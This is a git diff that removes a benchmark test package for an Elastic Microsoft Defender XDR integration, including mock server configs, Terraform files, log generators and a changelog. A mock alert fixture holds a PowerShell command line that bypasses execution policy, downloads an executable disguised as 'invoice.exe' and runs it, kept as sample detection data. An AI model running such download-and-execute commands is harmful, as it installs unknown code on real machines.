-{{- $evidenceRemediationstatus := generate "evidence.remediationStatus" -}}
-{{- $evidenceRemediationstatusdetails := generate "evidence.remediationStatusDetails" -}}
-{{- $evidenceRoles := generate "evidence.roles" -}}
-{{- $evidenceDetailedroles := generate "evidence.detailedRoles" -}}
-{{- $evidenceTags := generate "evidence.tags" -}}
-{{- $evidenceFirstseendatetime := generate "evidence.firstSeenDateTime" | date "2006-01-02T15:04:05.000000Z" -}}
-{{- $evidenceMdedeviceid := generate "evidence.mdeDeviceId" -}}
-{{- $evidenceAzureaddeviceid := generate "evidence.azureAdDeviceId" -}}
-{{- $evidenceDevicednsname := generate "evidence.deviceDnsName" -}}
-{{- $evidenceOsplatform := generate "evidence.osPlatform" -}}
-{{- $evidenceOsbuild := generate "evidence.osBuild" -}}
-{{- $evidenceVersion := generate "evidence.version" -}}
-{{- $evidenceHealthstatus := generate "evidence.healthStatus" -}}
-{{- $evidenceRiskscore := generate "evidence.riskScore" -}}
-{{- $evidenceRbacgroupid := generate "evidence.rbacGroupId" -}}
-{{- $evidenceRbacgroupname := generate "evidence.rbacGroupName" -}}
-{{- $evidenceOnboardingstatus := generate "evidence.onboardingStatus" -}}
-{{- $evidenceDefenderavstatus := generate "evidence.defenderAvStatus" -}}
-{{- $evidenceIpinterfaces := generate "evidence.ipInterfaces" -}}
-{{- $evidenceVmmetadata := generate "evidence.vmMetadata" -}}
-{{- $evidenceLoggedonusersAccountname := generate "evidence.loggedOnUsers.accountName" -}}
-{{- $evidenceLoggedonusersDomainname := generate "evidence.loggedOnUsers.domainName" -}}
-{"id":"{{$id}}","providerAlertId":"{{$providerAlertId}}","incidentId":"{{$incidentId}}","status":"{{$status}}","severity":"{{$severity}}","classification":"{{$classification}}","determination":"{{$determination}}","serviceSource":"{{$serviceSource}}","detectionSource":"{{$detectionSource}}","productName":"{{$productName}}","detectorId":"{{$detectorId}}","tenantId":"{{$tenantId}}","title":"{{$title}}","description":"{{$description}}","recommendedActions":"{{$recommendedActions}}","category":"{{$category}}","assignedTo":"{{$assignedTo}}","alertWebUrl":"{{$alertWebUrl}}","incidentWebUrl":"{{$incidentWebUrl}}","actorDisplayName":"{{$actorDisplayName}}","threatDisplayName":"{{$threatDisplayName}}","threatFamilyName":"{{$threatFamilyName}}","mitreTechniques":["{{$mitreTechniques}}"],"createdDateTime":"{{$createdDateTime}}","lastUpdateDateTime":"{{$lastUpdateDateTime}}","resolvedDateTime":"{{$resolvedDateTime}}","firstActivityDateTime":"{{$firstActivityDateTime}}","lastActivityDateTime":"{{$lastActivityDateTime}}","alertPolicyId":"{{$alertPolicyId}}","additionalData":"{{$additionalData}}","comments":[{"name": "{{$comments}}"}],"evidence":[{"internetMessageId":"{{$evidenceInternetmessageid}}","networkMessageId":"{{$evidenceNetworkmessageid}}","senderIp":"{{$evidenceSenderip}}","createdDateTime":"{{$evidenceCreateddatetime}}","verdict":"{{$evidenceVerdict}}","remediationStatus":"{{$evidenceRemediationstatus}}","remediationStatusDetails":"{{$evidenceRemediationstatusdetails}}","roles":["{{$evidenceRoles}}"],"detailedRoles":["{{$evidenceDetailedroles}}"],"tags":["{{$evidenceTags}}"],"firstSeenDateTime":"{{$evidenceFirstseendatetime}}","mdeDeviceId":"{{$evidenceMdedeviceid}}","azureAdDeviceId":"{{$evidenceAzureaddeviceid}}","deviceDnsName":"{{$evidenceDevicednsname}}","osPlatform":"{{$evidenceOsplatform}}","osBuild":"{{$evidenceOsbuild}}","version":"{{$evidenceVersion}}","healthStatus":"{{$evidenceHealthstatus}}","riskScore":"{{$evidenceRiskscore}}","rbacGroupId":"{{$evidenceRbacgroupid}}","rbacGroupName":"{{$evidenceRbacgroupname}}","onboardingStatus":"{{$evidenceOnboardingstatus}}","defenderAvStatus":"{{$evidenceDefenderavstatus}}","ipInterfaces":["{{$evidenceIpinterfaces}}"],"vmMetadata":"{{$evidenceVmmetadata}}","loggedOnUsers":[{"accountName":"{{$evidenceLoggedonusersAccountname}}","domainName":"{{$evidenceLoggedonusersDomainname}}"}]}]},
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/alert-http-mock-config.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/alert-http-mock-config.yml
deleted file mode 100644
index 4fcf80abe6..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/alert-http-mock-config.yml
+++ /dev/null
@@ -1,61 +0,0 @@
-rules:
-  - path: /tenant_id/oauth2/v2.0/token
-    methods: [POST]
-    query_params:
-      grant_type: client_credentials
-    request_headers:
-      Content-Type:
-        - "application/x-www-form-urlencoded"
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - "application/json"
-        body: |-
-          {"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ilg1ZVhrN","token_type": "Bearer","not_before": 1549647431,"expires_in": 3600}
-  # Refresh token to get access token: https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow#refresh-the-access-token
-  - path: /tenant_id/oauth2/v2.0/token
-    methods: [ POST ]
-    query_params:
-      refresh_token: refresh_token_123
-      grant_type: refresh_token
-    request_headers:
-      Content-Type:
-        - "application/x-www-form-urlencoded"
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - "application/json"
-        body: |-
-          {{ minify_json `
-          {
-            "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ilg1ZVhrN",
-            "token_type": "Bearer",
-            "expires_in": 2,
-            "scope": "https%3A%2F%2Fgraph.microsoft.com%2Fmail.read",
-            "refresh_token": "AwABAAAAvPM1KaPlrEqdFSBzjqfTGAMxZGUTdM0t4B4...",
-            "id_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdWQiOiIyZDRkMTFhMi1mODE0LTQ2YTctOD..."
-          }
-          `}}
-  - path: /v1.0/security/alerts_v2
-    methods: [GET]
-    request_headers:
-      Authorization:
-        - "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ilg1ZVhrN"
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - "application/json"
-        body: |-
-          {
-            "value": [
-              {{- $g := glob "/var/log/corpus-*" -}}
-              {{- range $g -}}
-                {{- file . -}}
-              {{- end -}}
-              {{/* A last line of hard-coded data is required to properly close the JSON body */}}
-              { "id": "da2046fc02-67f1-41f5-923d-ef916d70c005_1", "providerAlertId": "2046fc02-67f1-41f5-923d-ef916d70c005_1", "incidentId": "23", "status": "new", "severity": "informational", "classification": null, "determination": null, "serviceSource": "microsoftDefenderForEndpoint", "detectionSource": "microsoftDefenderForEndpoint", "productName": "Microsoft Defender for Endpoint", "detectorId": "de54c08f-c3f5-40e3-ae58-7e3fffbc2574", "tenantId": "3adb963c-8e61-48e8-a06d-6dbb0dacea39", "title": "[Test Alert] Suspicious Powershell commandline", "description": " This is a test alert \nA suspicious Powershell commandline was found on the machine. This commandline might be used during installation, exploration, or in some cases with lateral movement activities which are used by attackers to invoke modules, download external payloads, and get more information about the system. Attackers usually use Powershell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.", "recommendedActions": " This is a test alert \n1. Examine the PowerShell commandline to understand what commands were executed. Note: the script may need to be decoded if it is base64-encoded\n2. Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc.\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert. \n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.", "category": "Execution", "assignedTo": null, "alertWebUrl": "https://security.microsoft.com/alerts/da2046fc02-67f1-41f5-923d-ef916d70c005_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", "incidentWebUrl": "https://security.microsoft.com/incidents/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", "actorDisplayName": null, "threatDisplayName": null, "threatFamilyName": null, "mitreTechniques": [ "T1059.001" ], "createdDateTime": "2023-10-20T09:54:06.750499Z", "lastUpdateDateTime": "2023-10-20T09:54:10.4666667Z", "resolvedDateTime": null, "firstActivityDateTime": "2023-10-20T09:51:39.5154802Z", "lastActivityDateTime": "2023-10-20T09:51:39.5154802Z", "alertPolicyId": null, "additionalData": null, "comments": [], "evidence": [ { "@odata.type": "#microsoft.graph.security.deviceEvidence", "createdDateTime": "2023-10-20T09:54:06.84Z", "verdict": "unknown", "remediationStatus": "none", "remediationStatusDetails": null, "roles": [], "detailedRoles": [ "PrimaryDevice" ], "tags": [], "firstSeenDateTime": "2023-10-20T09:50:17.7383987Z", "mdeDeviceId": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", "azureAdDeviceId": "f18bd540-d5e4-46e0-8ddd-3d03a59e4e14", "deviceDnsName": "clw555test", "osPlatform": "Windows11", "osBuild": 22621, "version": "22H2", "healthStatus": "inactive", "riskScore": "high", "rbacGroupId": 0, "rbacGroupName": null, "onboardingStatus": "onboarded", "defenderAvStatus": "notSupported", "ipInterfaces": [ "192.168.5.65", "fe80::cfe4:80b:615c:38fb", "127.0.0.1", "::1" ], "vmMetadata": null, "loggedOnUsers": [] }, { "@odata.type": "#microsoft.graph.security.userEvidence", "createdDateTime": "2023-10-20T09:54:06.84Z", "verdict": "unknown", "remediationStatus": "none", "remediationStatusDetails": null, "roles": [], "detailedRoles": [], "tags": [], "userAccount": { "accountName": "CDPUserIS-38411", "domainName": "AzureAD", "userSid": "S-1-12-1-1485667349-1150190949-4065799612-2328216759", "azureAdUserId": "588d7c15-8565-448e-bc2d-57f2b7c4c58a", "userPrincipalName": "cdp.38411@crestdatasys.com", "displayName": null } }, { "@odata.type": "#microsoft.graph.security.processEvidence", "createdDateTime": "2023-10-20T09:54:06.84Z", "verdict": "unknown", "remediationStatus": "none", "remediationStatusDetails": null, "roles": [], "detailedRoles": [], "tags": [], "processId": 5772, "parentProcessId": 7408, "processCommandLine": "\"cmd.exe\" ", "processCreationDateTime": "2023-10-20T09:51:19.5064237Z", "parentProcessCreationDateTime": "2023-10-20T09:34:32.0067951Z", "detectionStatus": "detected", "mdeDeviceId": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", "imageFile": { "sha1": "13e9bb7e85ff9b08c26a440412e5cd5d296c4d35", "sha256": "423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb", "fileName": "cmd.exe", "filePath": "C:\\Windows\\System32", "fileSize": 323584, "filePublisher": "Microsoft Corporation", "signer": null, "issuer": null }, "parentProcessImageFile": { "sha1": null, "sha256": null, "fileName": "explorer.exe", "filePath": "C:\\Windows", "fileSize": 5261576, "filePublisher": "Microsoft Corporation", "signer": null, "issuer": null }, "userAccount": { "accountName": "CDPUserIS-38411", "domainName": "AzureAD", "userSid": "S-1-12-1-1485667349-1150190949-4065799612-2328216759", "azureAdUserId": "588d7c15-8565-448e-bc2d-57f2b7c4c58a", "userPrincipalName": "cdp.38411@crestdatasys.com", "displayName": null } }, { "@odata.type": "#microsoft.graph.security.processEvidence", "createdDateTime": "2023-10-20T09:54:06.84Z", "verdict": "unknown", "remediationStatus": "none", "remediationStatusDetails": null, "roles": [], "detailedRoles": [], "tags": [], "processId": 8224, "parentProcessId": 5772, "processCommandLine": "powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\\\test-WDATP-test\\\\invoice.exe');Start-Process 'C:\\\\test-WDATP-test\\\\invoice.exe'", "processCreationDateTime": "2023-10-20T09:51:39.4997961Z", "parentProcessCreationDateTime": "2023-10-20T09:51:19.5064237Z", "detectionStatus": "detected", "mdeDeviceId": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", "imageFile": { "sha1": "a72c41316307889e43fe8605a0dca4a72e72a011", "sha256": "d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80", "fileName": "powershell.exe", "filePath": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0", "fileSize": 491520, "filePublisher": "Microsoft Corporation", "signer": null, "issuer": null }, "parentProcessImageFile": { "sha1": null, "sha256": null, "fileName": "cmd.exe", "filePath": "C:\\Windows\\System32", "fileSize": 323584, "filePublisher": "Microsoft Corporation", "signer": null, "issuer": null }, "userAccount": { "accountName": "CDPUserIS-38411", "domainName": "AzureAD", "userSid": "S-1-12-1-1485667349-1150190949-4065799612-2328216759", "azureAdUserId": "588d7c15-8565-448e-bc2d-57f2b7c4c58a", "userPrincipalName": "cdp.38411@crestdatasys.com", "displayName": null } } ] }
-            ]
-          }
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/docker-compose.yml
deleted file mode 100644
index 52f70ff8ab..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/docker-compose.yml
+++ /dev/null
@@ -1,16 +0,0 @@
-services:
-  m365-defender-alert-http:
-    image: docker.elastic.co/observability/stream:v0.20.0
-    hostname: m365_defender
-    ports:
-      - 8082
-    volumes:
-      - ./alert-http-mock-config.yml:/config.yml
-      - ${SERVICE_LOGS_DIR}:/var/log
-    environment:
-      PORT: 8082
-    command:
-      - http-server
-      - --exit-on-unmatched-rule
-      - --addr=:8082
-      - --config=/config.yml
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/env.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/env.yml
deleted file mode 100644
index 1200994302..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/env.yml
+++ /dev/null
@@ -1,5 +0,0 @@
-version: '2.3'
-services:
-  terraform:
-    environment:
-      - TEST_RUN_ID=${TEST_RUN_ID}
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/files/sample.log b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/files/sample.log
deleted file mode 100644
index 7d51ddc5d6..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/files/sample.log
+++ /dev/null
@@ -1,20 +0,0 @@
-1.2.3.4 - - [15/Jan/2024:10:20:30 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0"
-5.6.7.8 - - [15/Jan/2024:10:20:31 +0000] "GET /api/v1/data HTTP/1.1" 200 1024 "-" "benchmark-client/1.0"
-9.10.11.12 - - [15/Jan/2024:10:20:32 +0000] "POST /api/v1/events HTTP/1.1" 201 256 "-" "benchmark-client/1.0"
-13.14.15.16 - - [15/Jan/2024:10:20:33 +0000] "GET /health HTTP/1.1" 200 64 "-" "benchmark-client/1.0"
-17.18.19.20 - - [15/Jan/2024:10:20:34 +0000] "GET /metrics HTTP/1.1" 200 2048 "-" "benchmark-client/1.0"
-21.22.23.24 - - [15/Jan/2024:10:20:35 +0000] "GET /index.html HTTP/1.1" 404 128 "-" "benchmark-client/1.0"
-25.26.27.28 - - [15/Jan/2024:10:20:36 +0000] "GET /api/v1/data HTTP/1.1" 400 64 "-" "benchmark-client/1.0"
-29.30.31.32 - - [15/Jan/2024:10:20:37 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0"
-33.34.35.36 - - [15/Jan/2024:10:20:38 +0000] "DELETE /api/v1/item/1 HTTP/1.1" 204 0 "-" "benchmark-client/1.0"
-37.38.39.40 - - [15/Jan/2024:10:20:39 +0000] "GET /api/v1/status HTTP/1.1" 200 128 "-" "benchmark-client/1.0"
-41.42.43.44 - - [15/Jan/2024:10:20:40 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0"
-45.46.47.48 - - [15/Jan/2024:10:20:41 +0000] "PUT /api/v1/item/2 HTTP/1.1" 200 256 "-" "benchmark-client/1.0"
-49.50.51.52 - - [15/Jan/2024:10:20:42 +0000] "GET /favicon.ico HTTP/1.1" 404 32 "-" "benchmark-client/1.0"
-53.54.55.56 - - [15/Jan/2024:10:20:43 +0000] "GET /api/v1/data HTTP/1.1" 200 1024 "-" "benchmark-client/1.0"
-57.58.59.60 - - [15/Jan/2024:10:20:44 +0000] "POST /api/v1/events HTTP/1.1" 201 256 "-" "benchmark-client/1.0"
-61.62.63.64 - - [15/Jan/2024:10:20:45 +0000] "GET /health HTTP/1.1" 200 64 "-" "benchmark-client/1.0"
-65.66.67.68 - - [15/Jan/2024:10:20:46 +0000] "GET /metrics HTTP/1.1" 200 2048 "-" "benchmark-client/1.0"
-69.70.71.72 - - [15/Jan/2024:10:20:47 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0"
-73.74.75.76 - - [15/Jan/2024:10:20:48 +0000] "GET /api/v1/data HTTP/1.1" 200 1024 "-" "benchmark-client/1.0"
-77.78.79.80 - - [15/Jan/2024:10:20:49 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0"
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/main.tf b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/main.tf
deleted file mode 100644
index 48d10519f0..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/main.tf
+++ /dev/null
@@ -1,5 +0,0 @@
-resource "local_file" "benchmark_log" {
-  source          = "./files/sample.log"
-  filename        = "/tmp/service_logs/tf-benchmark-${var.TEST_RUN_ID}.log"
-  file_permission = "0777"
-}
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/variables.tf b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/variables.tf
deleted file mode 100644
index 32d90dee64..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/variables.tf
+++ /dev/null
@@ -1,26 +0,0 @@
-variable "BRANCH" {
-  description = "Branch name or pull request for tagging purposes"
-  default     = "unknown-branch"
-}
-
-variable "BUILD_ID" {
-  description = "Build ID in the CI for tagging purposes"
-  default     = "unknown-build"
-}
-
-variable "CREATED_DATE" {
-  description = "Creation date in epoch time for tagging purposes"
-  default     = "unknown-date"
-}
-
-variable "ENVIRONMENT" {
-  default = "unknown-environment"
-}
-
-variable "REPO" {
-  default = "unknown-repo-name"
-}
-
-variable "TEST_RUN_ID" {
-  default = "detached"
-}
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark.yml
deleted file mode 100644
index 8f8d50921c..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark.yml
+++ /dev/null
@@ -1,20 +0,0 @@
----
-description: Benchmark events ingested via tf deployer (filestream input)
-input: filestream
-deployer: tf
-data_stream:
-  name: logfile
-  vars:
-    paths:
-      - "{{SERVICE_LOGS_DIR}}/tf-benchmark-{{TEST_RUN_ID}}.log"
-warmup_time_period: 2s
-wait_for_data_timeout: 5m
-corpora:
-  generator:
-    total_events: 1000
-    template:
-      path: ./tf-benchmark/template.log
-    config:
-      path: ./tf-benchmark/config.yml
-    fields:
-      path: ./tf-benchmark/fields.yml
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/config.yml
deleted file mode 100644
index bbceb2681c..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/config.yml
+++ /dev/null
@@ -1,39 +0,0 @@
-fields:
-  - name: IP
-    cardinality: 100
-  - name: Day
-    range:
-      min: 1
-      max: 28
-  - name: H
-    range:
-      min: 10
-      max: 23
-  - name: MS
-    range:
-      min: 10
-      max: 59
-  - name: Mon
-    enum:
-      - "Jan"
-      - "Feb"
-      - "Mar"
-      - "Apr"
-      - "May"
-      - "Jun"
-      - "Jul"
-      - "Aug"
-      - "Sep"
-      - "Oct"
-      - "Nov"
-      - "Dec"
-  - name: StatusCode
-    enum: ["200", "400", "404"]
-  - name: Size
-    range:
-      min: 1
-      max: 1000
-  - name: Port
-    range:
-      min: 8000
-      max: 8080
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/fields.yml
deleted file mode 100644
index 4ed5ea81a4..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/fields.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-- name: IP
-  type: ip
-- name: Day
-  type: long
-- name: Mon
-  type: keyword
-- name: H
-  type: long
-- name: MS
-  type: long
-- name: StatusCode
-  type: keyword
-- name: Size
-  type: long
-- name: Hostname
-  type: keyword
-- name: Port
-  type: long
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/template.log b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/template.log
deleted file mode 100644
index 9299f9d886..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/template.log
+++ /dev/null
@@ -1 +0,0 @@
-{{.IP}} - - [{{.Day}}/{{.Mon}}/2024:{{.H}}:{{.MS}}:{{.MS}} +0000] "GET /index.html HTTP/1.1" {{.StatusCode}} {{.Size}} "-" "benchmark-client/1.0"
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/build.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/build.yml
deleted file mode 100644
index 2bfcfc223b..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/build.yml
+++ /dev/null
@@ -1,3 +0,0 @@
-dependencies:
-  ecs:
-    reference: "git@v8.11.0"
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/docs/README.md b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/docs/README.md
deleted file mode 100644
index fb5302bfb7..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/docs/README.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# Multi-Deployer Benchmark
-
-Test package that exercises both `docker` and `tf` service deployers in system benchmarks.
-
-- **httpjson** data stream: uses a `docker` deployer running a mock HTTP server.
-- **logfile** data stream: uses a `tf` deployer with the Terraform `local` provider (no cloud credentials required).
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml b/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml
deleted file mode 100644
index f5c56f1a49..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml
+++ /dev/null
@@ -1,643 +0,0 @@
-# newer versions go on top
-- version: "5.11.1000"
-  changes:
-    - description: Fix table formatting in README.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/17797
-- version: "5.11.0"
-  changes:
-    - description: | 
-        Add support for "CloudAuditEvents", "CloudProcessEvents", and 
-        "CloudStorageAggregatedEvents" table in event data stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/17612
-- version: "5.10.1"
-  changes:
-    - description: Use triple-brace Mustache templating when referencing variables in ingest pipelines.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/17623
-- version: "5.10.0"
-  changes:
-    - description: "Add support for \"BehaviorInfo\", \"BehaviorEntities\", \"MessageEvents\", \n\"MessageUrlInfo\", and \"MessagePostDeliveryEvents\" table in event data stream.\n"
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/17512
-- version: "5.9.0"
-  changes:
-    - description: Add client secret authentication support for Azure Event Hub with RBAC.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/17245
-- version: "5.8.0"
-  changes:
-    - description: Improve layout by synchronizing titles and description of configuration options. Remove `Microsoft Dfender XDR` from data stream toggles.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/17362
-- version: "5.7.0"
-  changes:
-    - description: Add tags to ingest pipelines.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/17435
-    - description: Update error message format in ingest pipelines.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/17435
-- version: "5.6.1"
-  changes:
-    - description: Remove duplicate security-solution-default tag references
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/17020
-- version: "5.6.0"
-  changes:
-    - description: Change default URL for the `vulnerability` data stream to `https://api.security.microsoft.com`.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/17276
-    - description: >-
-        Improve documentation with correct links, updated input titles and descriptions for all data streams. Update UI text to reflect updated titles.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/17276
-- version: "5.5.0"
-  changes:
-    - description: >-
-        Enhance ECS mappings across all datasets. Add navigation panel and refactor the dashboards.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/16676
-- version: "5.4.0"
-  changes:
-    - description: Add support for OAuth2 Endpoint Params option for alert and incident data streams.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/16628
-- version: "5.3.1"
-  changes:
-    - description: Fix table rendering issue in documentation.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/16615
-- version: "5.3.0"
-  changes:
-    - description: >-
-        Update documentation to reflect recent changes in vulnerability data stream including replacement of the List Vulnerabilities and List Machines API references with the SoftwareVulnerabilitiesExport API, using the modern integrations documentation layout.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/16152
-- version: "5.2.0"
-  changes:
-    - description: Add cloudsecurity_cdr sub category label
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/16146
-- version: "5.1.1"
-  changes:
-    - description: Fix construction of `file.path` fields in the incident data stream to conform to ECS.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/15728
-- version: "5.1.0"
-  changes:
-    - description: Add support for OAuth2 Endpoint Params option to vulnerability data stream.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/15749
-    - description: Handle expired URLs in vulnerability data stream.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/15749
-- version: "5.0.1"
-  changes:
-    - description: Update transform to filter out documents containing an error.message from vulnerability latest index
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/15722
-- version: "5.0.0"
-  changes:
-    - description: |
-        Fetch vulnerability data using SoftwareVulnerabilitiesExport API endpoint.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/15603
-    - description: "The following fields are no longer available in the new implementation: \"cloud.provider\", \"cloud.resource_id\", \n\"cloud.instance.id\", \"host.geo\", \"host.ip\", \"host.risk.calculated_level\", \"related.ip\", \n\"vulnerability.description\", \"vulnerability.published_date\", \"vulnerability.score.version\".\n"
-      type: breaking-change
-      link: https://github.com/elastic/integrations/pull/15603
-- version: "4.2.0"
-  changes:
-    - description: Prevent updating fleet health status to degraded.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/15415
-- version: "4.1.0"
-  changes:
-    - description: Add `vulnerability_workflow` sub category labels.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/15151
-- version: "4.0.2"
-  changes:
-    - description: Ensure large `$skip` API parameter values are correctly formatted in `vulnerability` data stream.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/15392
-    - description: Supress expected empty template health updates.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/15392
-- version: "4.0.1"
-  changes:
-    - description: Extract `process.name` from `process.command_line` in alert, event, and incident data streams.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/15226
-- version: "4.0.0"
-  changes:
-    - description: "Add mapping changes and latest transform in `vulnerability` data stream for \nCloud Detection and Response (CDR) vulnerability workflow.\n"
-      type: breaking-change
-      link: https://github.com/elastic/integrations/pull/14809
-- version: "3.14.2"
-  changes:
-    - description: Fix handling of empty string IP values.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/14857
-- version: "3.14.1"
-  changes:
-    - description: Fix agent handling of empty and error results in vulnerability data stream.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/14783
-- version: "3.14.0"
-  changes:
-    - description: "Enhanced error handling in the CEL program for API calls to prevent `no such key: product_batch_size` errors \nby ensuring proper propagation of the `product_batch_size` configuration during failures.\n"
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/14722
-- version: "3.13.0"
-  changes:
-    - description: Add `process.name` ECS mapping in alert, event, and incident data streams.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/14448
-- version: "3.12.0"
-  changes:
-    - description: Use `terminate` processor instead of `fail` processor to handle agent errors.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/14393
-- version: "3.11.0"
-  changes:
-    - description: |
-        Rebrand integration to Microsoft Defender XDR to align with Microsoft's current branding.
-        This is a superficial branding update only and does not affect existing functionalities.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/14350
-- version: "3.10.0"
-  changes:
-    - description: Standardize user fields processing across integrations.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/14137
-- version: "3.9.1"
-  changes:
-    - description: Add temporary processor to remove the fields added by the Agentless policy.
-      type: bugfix
-      link: https://github.com/elastic/integrations/pull/14172
-- version: "3.9.0"
-  changes:
-    - description: ECS mapping improvements.
-      type: enhancement
-      link: https://github.com/elastic/integrations/pull/14085
-- version: "3.8.0"
